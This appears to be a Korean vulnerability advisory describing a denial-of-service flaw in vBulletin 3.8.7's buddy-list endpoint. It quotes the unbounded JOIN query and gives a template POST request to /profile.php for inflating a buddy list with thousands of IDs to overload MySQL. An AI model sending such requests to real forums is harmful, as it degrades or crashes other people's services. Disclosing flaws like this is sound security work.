
vBulletin 3.8.7 친구 목록의 서비스 거부(Denial of Service) 취약점 분석
/misc.php?do=buddylist 엔드포인트는 모든 친구의 사용자 및 세션 정보를 가져와 온라인 상태를 확인하기 위해 단일 대규모 JOIN 쿼리를 실행합니다. 이 쿼리는 페이징이나 결과 제한 없이 전체 친구 목록을 처리하므로, 목록이 커질수록 리소스를 과도하게 소비하여 데이터베이스에 과부하를 유발할 수 있습니다.
이 문제는 쉽게 악용할 수 있으며 최소한의 설정만으로 가능합니다. 기본 사용자 계정 외에 특별한 권한이 필요하지 않습니다. 친구 목록을 부풀리기만 하면 데이터베이스에 심각한 부담을 줄 수 있습니다.
이 SQL 쿼리는 모든 친구의 세션 정보를 조회하여 온라인 상태를 확인합니다. 전체 친구 목록을 처리하고 각 항목에 대해 세션 데이터와 조인하므로 쿼리가 매우 커지고 리소스를 많이 사용하게 됩니다.
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
/profile.php에 listbits를 POST하여 대량의 친구 목록을 생성할 수 있습니다. 이 작업을 수천 개의 사용자 ID에 대해 반복하여 친구 목록을 부풀릴 수 있습니다.
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
대규모 포럼에서는 심각한 쿼리 지연이 발생하거나 MySQL 인스턴스가 중단될 수 있습니다.